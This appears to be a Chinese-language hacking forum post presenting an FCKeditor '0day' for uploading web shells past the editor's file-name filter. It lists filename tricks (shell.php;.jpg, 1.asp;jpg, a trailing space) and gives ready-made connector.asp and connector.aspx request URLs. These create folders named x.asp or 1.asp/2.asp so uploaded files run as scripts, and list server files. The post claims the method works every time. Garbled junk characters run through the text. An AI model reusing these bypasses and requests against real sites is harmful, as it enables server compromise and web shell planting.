FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破

admin

很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg

提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。

$ _" {1 f) N  o  Q7 X. L继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。

7 }( B3 h- O  ]+ M" r' Q4 M突破建立文件夹：
- {9 n5 P1 a1 |" M
  m9 }7 ?5 }+ _9 ^! }0 Zeditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
4 q% H7 K* Q+ R( Z& D
1 t; R! ]* Q8 f4 L$ F7 H7 ^参数：
! p* W( Z2 Y0 x: x) g$ q7 f6 |
当前目录名：CurrentFolder=/qing.asp

7 v4 c) P( B% ^新的目录名：NewFolderName=x.asp
2 y3 f4 S' u( {* c; R2 d* W
其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……
  A+ p* R. |: O( J# ^
那么 x.asp 就已经建立生成了，此方法百试百灵！
+ N5 R$ u" x  t
新建文件夹参数 x.asp，基本都能搞定。

# P: a# O7 v  g0 K) o- A* x下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
8 G9 g3 u  Q: f
$ }4 z; H$ S! |! @- Uaspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
' r+ l. Y& d% @2 ]) ?1 y. o: S' o
1 X$ p& t, E' y7 \8 s3 `获取文件列表
+ a! h( s7 ~- G5 |* ^       aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F